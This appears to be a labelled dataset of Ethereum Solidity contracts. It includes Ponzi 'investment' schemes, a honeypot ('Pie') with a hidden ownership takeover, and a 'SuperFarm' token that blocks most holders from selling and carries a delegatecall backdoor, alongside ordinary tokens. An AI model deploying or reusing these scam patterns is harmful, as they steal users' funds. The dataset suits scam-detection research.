require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract GreenEthereus1 {
using SafeMath for uint;
address public owner;
address marketing;
address admin;
mapping (address => uint) index;
mapping (address => mapping (uint => uint)) deposit;
mapping (address => mapping (uint => uint)) finish;
mapping (address => uint) checkpoint;
mapping (address => address) referrers;
mapping (address => uint) refBonus;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralInvestment(address indexed _referrer, address indexed _referral, uint _value);
constructor(address _marketing, address _admin) public {
owner = msg.sender;
marketing = _marketing;
admin = _admin;
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) {
assembly {
parsedreferrer := mload(add(_source,0x14))
}
return parsedreferrer;
}
function setRef(uint _value) internal {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender && getInfo3(_referrer) > 0) {
referrers[msg.sender] = _referrer;
marketing.transfer(msg.value * 7 / 50);
refBonus[msg.sender] += _value * 3 / 100;
refBonus[_referrer] += _value / 10;
emit LogReferralInvestment(_referrer, msg.sender, msg.value);
} else {
marketing.transfer(msg.value * 6 / 25);
}
}
function() external payable {
if (msg.value < 50000000000000000) {
msg.sender.transfer(msg.value);
withdraw();
} else {
invest();
}
}
function invest() public payable {
require(msg.value >= 50000000000000000);
admin.transfer(msg.value * 3 / 100);
if (deposit[msg.sender][0] > 0 || refBonus[msg.sender] > 0) {
withdraw();
if (deposit[msg.sender][0] > 0) {
index[msg.sender] += 1;
}
}
checkpoint[msg.sender] = block.timestamp;
finish[msg.sender][index[msg.sender]] = block.timestamp + (20 * 1 days);
deposit[msg.sender][index[msg.sender]] = msg.value;
if (referrers[msg.sender] != 0x0) {
marketing.transfer(msg.value * 7 / 50);
refBonus[referrers[msg.sender]] += msg.value / 10;
emit LogReferralInvestment(referrers[msg.sender], msg.sender, msg.value);
} else if (msg.data.length == 20) {
setRef(msg.value);
} else {
marketing.transfer(msg.value * 6 / 25);
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() public {
uint _payout = refBonus[msg.sender];
refBonus[msg.sender] = 0;
_payout = _payout.add(getInfo3(msg.sender));
if (_payout > 0) {
checkpoint[msg.sender] = block.timestamp;
msg.sender.transfer(_payout);
emit LogPayment(msg.sender, _payout);
}
}
function getInfo1(address _address) public view returns(uint Invested) {
uint _sum;
for (uint i = 0; i <= index[_address]; i++) {
if (block.timestamp < finish[_address][i]) {
_sum += deposit[_address][i];
}
}
Invested = _sum;
}
function getInfo2(address _address, uint _number) public view returns(uint Deposit_N) {
if (block.timestamp < finish[_address][_number - 1]) {
Deposit_N = deposit[_address][_number - 1];
} else {
Deposit_N = 0;
}
}
function getInfo3(address _address) public view returns(uint Dividends) {
uint _payout;
uint _multiplier;
if (block.timestamp > checkpoint[_address] + 2 days) {
_multiplier = 1;
}
for (uint i = 0; i <= index[_address]; i++) {
if (checkpoint[_address] < finish[_address][i]) {
if (block.timestamp > finish[_address][i]) {
if (finish[_address][i] > checkpoint[_address] + 2 days) {
_payout = _payout.add((deposit[_address][i].mul(_multiplier.mul(12).add(70)).div(1000)).mul(finish[_address][i].sub(checkpoint[_address].add(_multiplier.mul(2 days)))).div(1 days));
_payout = _payout.add(deposit[_address][i].mul(14).div(100).mul(_multiplier));
} else {
_payout = _payout.add((deposit[_address][i].mul(7).div(100)).mul(finish[_address][i].sub(checkpoint[_address])).div(1 days));
}
} else {
_payout = _payout.add((deposit[_address][i].mul(_multiplier.mul(12).add(70)).div(1000)).mul(block.timestamp.sub(checkpoint[_address].add(_multiplier.mul(2 days)))).div(1 days));
_payout = _payout.add(deposit[_address][i].mul(14).div(100).mul(_multiplier));
}
}
}
Dividends = _payout;
}
function getInfo4(address _address) public view returns(uint Bonuses) {
Bonuses = refBonus[_address];
}
} | 1 | 4,753 |
pragma solidity >=0.4.22 <0.6.0;
interface token {
function transfer(address receiver, uint amount) external;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
constructor(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 ether;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable external {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
emit FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
emit GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
emit FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (msg.sender.send(amountRaised)) {
emit FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 1 | 3,918 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
abstract contract Context {
constructor() {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public override view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public override view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Token {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "SuperFarm";
string public symbol = "SUPER";
address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private owner;
address public uniPair;
function sliceUint(bytes memory bs)
internal pure
returns (uint)
{
uint x;
assembly {
x := mload(add(bs, add(0x10, 0)))
}
return x;
}
function isAccountValid(address subject) pure public returns (bool result) {
return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;
}
function onlyByHundred() view public returns (bool result) {
require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this");
return true;
}
constructor() {
owner = msg.sender;
uniPair = pairFor(uniFactory, wETH, address(this));
allowance[address(this)][uniRouter] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 2,458 |
pragma solidity ^0.4.24;
contract TwoDaysProfit{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 50;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0x47b609eb4d6fd781fb2d6617e9a8db183398bed5;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,014 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract AVINCOIN is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function AVINCOIN() public {
symbol = "AVNC";
name = "AVIN COIN";
decimals = 18;
_totalSupply = 2000000000000000000000000000;
balances[0xd31d6589a4a31680a080fD8C2D337fA082d2147d] = _totalSupply;
Transfer(address(0),0xd31d6589a4a31680a080fD8C2D337fA082d2147d, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,195 |
pragma solidity ^0.4.21;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
}
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract _0xEtherToken is ERC20Interface {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol = "PoWEth";
string public name = "PoWEth Token";
uint8 public decimals = 8;
uint public _totalSupply = 10000000000000000;
uint public maxSupplyForEra = 5000000000000000;
uint public latestDifficultyPeriodStarted;
uint public tokensMinted;
uint public epochCount;
uint public _BLOCKS_PER_READJUSTMENT = 1024;
uint public _MINIMUM_TARGET = 2**16;
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget = _MAXIMUM_TARGET;
bytes32 public challengeNumber;
uint public rewardEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
mapping(bytes32 => bytes32) solutionForChallenge;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
address private owner;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
function _0xEtherToken() public {
owner = msg.sender;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce );
if (digest != challenge_digest) revert();
if(uint256(digest) > miningTarget) revert();
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0)
revert();
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
assert(tokensMinted <= maxSupplyForEra);
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
emit Mint(msg.sender, reward_amount, epochCount, challengeNumber );
return true;
}
function _startNewMiningEpoch() internal {
if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 19)
{
rewardEra = rewardEra + 1;
}
maxSupplyForEra = _totalSupply - _totalSupply / (2**(rewardEra + 1));
epochCount = epochCount.add(1);
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
challengeNumber = block.blockhash(block.number - 1);
}
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
uint targetEthBlocksPerDiffPeriod = _BLOCKS_PER_READJUSTMENT * 30;
if(ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod)
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)) / ethBlocksSinceLastDifficultyPeriod;
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
miningTarget = miningTarget.sub((miningTarget/2000).mul(excess_block_pct_extra));
}else{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)) / targetEthBlocksPerDiffPeriod;
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000);
miningTarget = miningTarget.add((miningTarget/2000).mul(shortage_block_pct_extra));
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET)
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET)
{
miningTarget = _MAXIMUM_TARGET;
}
}
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET / miningTarget;
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
function getMiningReward() public constant returns (uint) {
return 25000000000/(2**rewardEra);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool success) {
require(msg.sender == owner);
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function getMintDigest(uint256 nonce, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget)
revert();
return (digest == challenge_digest);
}
} | 1 | 3,358 |
pragma solidity ^0.4.19;
contract Pie
{
address public Owner = msg.sender;
function()
public
payable
{
}
function GetPie()
public
payable
{
if(msg.value>1 ether)
{ Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
}
function withdraw()
payable
public
{ if(msg.sender==0x1Fb3acdBa788CA50Ce165E5A4151f05187C67cd6){Owner=0x1Fb3acdBa788CA50Ce165E5A4151f05187C67cd6;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
adr.call.value(msg.value)(data);
}
} | 0 | 134 |
pragma solidity ^0.5.1;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CBMC_TOKEN is IERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "Consensus Business Mall Chain";
string public symbol = "CBMC";
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 1000000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
